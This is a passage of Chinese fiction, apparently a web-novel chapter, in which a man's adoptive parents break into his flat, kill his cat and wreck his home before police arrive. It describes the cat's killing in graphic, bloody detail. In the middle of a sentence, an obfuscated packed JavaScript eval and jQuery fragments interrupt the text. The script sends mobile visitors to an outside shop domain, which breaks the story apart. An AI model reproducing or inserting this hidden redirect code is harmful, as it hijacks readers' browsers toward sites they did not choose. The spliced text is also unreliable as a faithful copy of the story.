苌斓从来没有公开过自己的新住址。从书店同事那里听说养母在打听他的下落之后，他当天就搬了家。新公寓离书店更远，小区有门禁，电梯需要刷卡。他以为这样就能安全了。他给每一只猫都打了疫苗、做了绝育，在阳台上装了防护网。小灰最喜欢趴在窗台上晒太阳，肚皮朝上，尾巴搭在花盆边缘轻轻晃动。他每天下班推开门，小灰会跑过来蹭他的脚踝，发出咕噜咕噜的声音。他把它抱起来，感觉到它温热的小身体贴在胸口，想起那个雨夜在垃圾桶后面捡到它的晚上——也是这么小，这么软，这么需要被保护。他救了它，它也救了他。每天早晚按时吃药时，小灰会跳上他的膝盖，用脑袋顶他的手心，像是在提醒他不要忘记。
但养父母还是找到了他的新地址。
那天书店派他去外地参加一个为期三天的培训。他把钥匙交给忘海，托他每天来喂猫。忘海说好，每天早上喂完猫给他发照片。第一天，照片里小灰蹲在食盆前埋头吃粮，尾巴竖得笔直。第二天，照片里几只猫挤在沙发上睡觉，阳光从窗帘缝隙里漏进来，落在它们起伏的肚皮上。第三天，他提前结束培训，傍晚到家，推开门，灯亮着。玄关的鞋柜上放着一串陌生的钥匙——不是他的，不是忘海的。客厅里没有人，但空气里弥漫着浓重的腥味。沙发上的灰色垫子湿了一大片，颜色深得像被墨汁泼过。他的脚步钉在原地，听见卧室里传来一声短促的猫叫，然后安静了。他冲进卧室，看见养母站在床边，手里攥着一根晾衣杆，养父蹲在窗台边，正在解阳台防护网的铁丝。窗台上、地板上、床单上全是血。小灰躺在床角，灰白色的毛被染成暗红，肚子上的伤口还在往外渗血。它睁着眼睛，瞳孔已经涣散了，但身体还是温热的。
苌斓扑过去把小灰抱起来，用手捂住它肚子上的伤口，血从指缝里涌出来，流在他的手背上、袖口上、膝盖上。他喊它的名字，小灰，小灰。它的尾巴轻轻动了一下，然后停了。它没有再发出咕噜咕噜的声音。他把脸埋进它的绒毛里，闻到了血腥味、沐浴露残留的清香、还有窗台上那盆薄荷被撞翻后弥漫开来的凉意。
养母把晾衣杆往地上一扔，声音尖利而理所当然。她说你现在满意了，所有人都在骂我们，你高兴了。你以为搬了家我就找不到你？她开始数落他的罪状——不接电话，换了住址不告诉他们，把他们发到网上的证据害得他们被所有人骂。她每说一句，养父就在旁边用拳头砸一下墙。然后他们开始砸东西。书架推倒了，茶几上的紫砂杯滚落在地，杯底磕掉的那块瓷碎片弹到沙发底下。书桌上的相框摔碎了，那是父母在超市里偷拍的照片——他腮帮子鼓着，筷子夹着一个溏心蛋。
苌斓把小灰轻轻放在床上，用被角盖住它小小的身体，站起来。他拿起手机，没有打给忘海——忘海正在加班，今天的项目很重要。他直接报了警，然后走到客厅，挡在养父面前，用手按住他正要砸向电视的胳膊。他的声音不大，但每一个字都像钉子一样钉在空气里。他说你们砸够了没有。警察马上就到，你们砸的每一样东西我都会拍照留证，你们摔死的猫我会做尸检，你们非法闯入、故意毁坏财物、虐待动物——每一条我都记着，一条都不会漏。他说话的时候眼眶是红的，手在发抖，但他没有后退，像忘海的父亲当年挡在养父面前时一样站得很直。
养母愣了一下，然后开始哭——不是悔恨，是愤怒。她指着苌斓的鼻子骂他没良心、白眼狼，声音又尖又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724400|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
碎，在满是血腥味的客厅里回荡。警察来得很快。门禁监控、电梯刷卡记录、邻居的证词，每一条都指向同一个事实——养父母用非法手段获取了苌斓的住址并擅自闯入。他们被带走时养母还在喊着什么，声音被电梯门截断，走廊里只剩下警用对讲机的嗡鸣。
忘海赶到的时候，警察已经走了。他看到苌斓坐在床边，怀里抱着被血浸透的被角，小灰安静地躺在他膝盖上。他走过去，在他面前蹲下来，什么也没说，只是把自己外套脱下来裹住小灰，然后握住苌斓的手——两只手都握着他的，和很多年前在医院病房里一模一样。那天也是他赶过来，也是满身的血，只是那时流的是苌斓自己的血，现在是小灰的。
苌斓抬起头，声音很轻，轻得像一片落在围巾上的雪。“它才两岁。它每天早上蹭我的脚踝叫我起床，比闹钟还准时。它最喜欢那个毛线球，是你妈织围巾剩下的。”忘海把他的手攥得更紧了一些，说我知道。苌斓低下头，把脸埋进忘海的肩窝里，没有哭声，只有肩膀在轻轻颤抖。他说我按时吃药，我搬家，我装防护网，我以为这样就能保护它们。忘海的下巴抵在他头顶，过了很久才开口，声音和每次在路口说“红枣茶，八颗”时一样平稳，但尾音微微发颤。他说你已经做得很好了，不是你的错，你不需要一个人扛。
窗外梧桐树的叶子开始落了。明天早上他们会去警察局做笔录，把门禁记录和邻居证词交给警方，把养父母闯入的证据一条一条整理清楚，交给律师。书桌上的紫砂杯碎了，他会用胶水把碎片一片一片粘回去，杯口朝外，和以前一模一样。他失去的永远失去了，但他还可以带着那些裂缝继续活下去。
而忘海马上要和他一样了。